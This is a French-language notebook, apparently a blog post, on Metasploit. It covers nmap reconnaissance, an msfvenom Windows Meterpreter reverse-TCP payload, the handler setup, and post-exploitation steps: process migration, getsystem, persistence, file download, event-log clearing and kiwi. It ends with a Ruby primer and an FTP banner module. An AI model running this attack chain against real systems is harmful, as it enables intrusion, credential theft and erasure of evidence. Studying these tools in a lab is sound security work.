Bloc Notes Metasploit

Metasploit Framework est un outil pour du test, de l’analyse de vulnérabilités et l’exécution d’exploits sur une machine distante. Il est écrit en Ruby. L’article fera une brève introduction a Ruby qui sera utile pour comprendre les différents modules de Metasploit.

Edition du .bashrc pour ajout d’alias

cd /root && nano .bashrc

Rechargement du bashrc pour prise en compte des alias sans deco/reco

source ~/.bashrc

Répertoire contenant les modules

/usr/share/metasploit-framework/

Mise a jour de metasploit

msfupdate

Ouverture de la console metasploit

msfconsole

recherche d’exploit

search ftp

affichage par catégorie

show auxiliary

utilisation des modules spécifique puis affichage des informations du module

use auxiliary/server/dhcp
info (show options)

Générer des payloads

msfvenom -help

Exploitation basique

Visualiser la système d’exploitation

nmap -sP 192.168.204.137
nmap -O 192.168.204.137

Liste les ports utilisée

nmap -sS 192.168.204.137 -p445,21,145

Liste les versions de services utilisées

nmap -sV 192.168.204.137

Création d’un payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.134 LPORT=4444 -f exe > /root/Bureau/myapp.exe

Chargement du module d’écoute du payload

msfconsole
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.204.134
exploit

récupération des informations post exploitation

help
sysinfo
getuid
getpid

Migration vers un processus persistant après avoir listé les processus, puis effacement des traces dans l’event manager de windows

ps
#dans par exemple svchost.exe
migrate 1865
#Escalade de privilège
getsystem
#persistance au reboot
run persistence

#récuperation de fichier
download myfile.exe

#effacement des traces
run event_manager help
run event_manager -c
run event_manager -i

Exemple d’utilisation d’extensions post exploit

use kiwi
help

Introduction à Ruby

Le développement de modules se fait en ruby, on va utiliser « irb » qui est un terminal ruby interactif

Manipulation de variable simple

a="ma variable"
b="est presente"
a + b

Définition et utilisation de fonction, le puts permet un retour a la ligne, print non

def multiplication(mynumber)
mynumber=a*2
puts(mynumber)
end
multiplication(10)
#return 20

Exemple dans un fichier
Manipulation simple de variable dans un fichier avec Creation du fichier, autorise l’exécution

nano premierfichier.rb
#!/usr/bin/env ruby
print("donnez un valeur A \n")
a = gets
print("donnez un valeur B \n")
b = gets
c =Integer(a)*Integer(b)
puts(c)
chmod +x premierfichier.rb
./premierfichier.rb

Manipulation de variable avec une fonction, variable global(avec $) vs variable local

#!/usr/bin/env ruby
$myvariable = 10
def functiondeteste()
myvariable = 99
puts(myvariable)
puts($myvariable)
end
functiondeteste()

Exemple de manipulation de chaine avec split

#!/usr/bin/env ruby
data = "liste de mot a decouper"
montableau=data.split(" ")
puts(montableau[0])
#affiche "liste"

la même chose dans une fonction avec un retour de résultat

#!/usr/bin/env ruby
def fonctiondesplit(mavariable)
montableau=mavariable.split(" ")
return montableau[0]
end
finalestring=fonctiondesplit("ceci est la chaine a decouper")
puts(finalestring)
#affiche "liste"

Développement de modules pour metasploit avec ruby

On démarre par récupérer la version de metasploit

msfconsole
version
msf5 > version
Framework: 5.0.76-dev
Console  : 5.0.76-dev

L’ensemble des modules peuvent se retrouver dans /usr/share/metasploit-framework/modules/
Exemple de création d’un module qui va retrouver une bannière d’un serveur FTP

nano /usr/share/metasploit-framework/modules/auxiliary/scanner/ftp/getbaniereftp.rb

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'FTP Get Baniere',
      'Description' => 'Detect FTP Baniere.',
      'Author'      => 'laintimes.com',
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(21),
      ])
  end

  def run_host(target_host)

    begin

        res = connect(true, false)

        if(banner)
            print("{#rhost} tourne avec #{banner}")
        else
            print("no Banner Found")
        end

        disconnect
       
    end

  end
end

On doit mettre à jour la base et tester son execution

msfconsole
reload_all
use auxilary/scanner/ftp/ftpbaniere
info

Laisser un commentaire